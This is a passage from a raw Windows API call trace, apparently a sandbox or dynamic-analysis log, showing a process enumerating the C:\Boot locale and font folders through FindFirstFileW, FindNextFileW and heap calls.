lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.064] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.064] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.064] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.064] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.064] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.064] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.064] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.065] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.065] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.065] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.065] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.065] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.065] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.065] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.065] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.065] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.065] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.065] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.065] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.065] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.066] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.066] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.066] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.066] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.066] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.066] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.066] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.066] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.066] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.066] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.066] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.066] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.066] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.066] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.067] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.067] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.067] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.067] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.067] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.067] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.067] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.067] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.067] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.067] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.067] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.067] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.068] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.068] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.068] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.068] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.068] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.068] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.068] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.068] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.068] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.068] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.068] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.068] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.068] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.069] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.069] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.069] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.069] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.069] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.069] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.069] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.069] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.069] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.069] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.069] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.069] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.069] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, 